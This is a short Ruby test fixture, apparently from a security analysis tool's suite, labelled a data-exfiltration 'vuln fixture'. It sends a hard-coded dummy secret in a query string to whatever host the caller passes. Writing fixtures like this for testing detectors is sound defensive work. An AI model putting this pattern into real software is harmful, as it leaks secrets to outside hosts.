nyx/tests/dynamic_fixtures/data_exfil/ruby/vuln.rb
2026-06-05 10:16:30 -05:00

9 lines
207 B
Ruby

# Phase 11 (Track J.9) — Ruby DATA_EXFIL vuln fixture.
require 'net/http'
require 'uri'
def run(host)
secret = "alice-creds"
uri = URI("http://#{host}/exfil?token=#{secret}")
Net::HTTP.get(uri)
end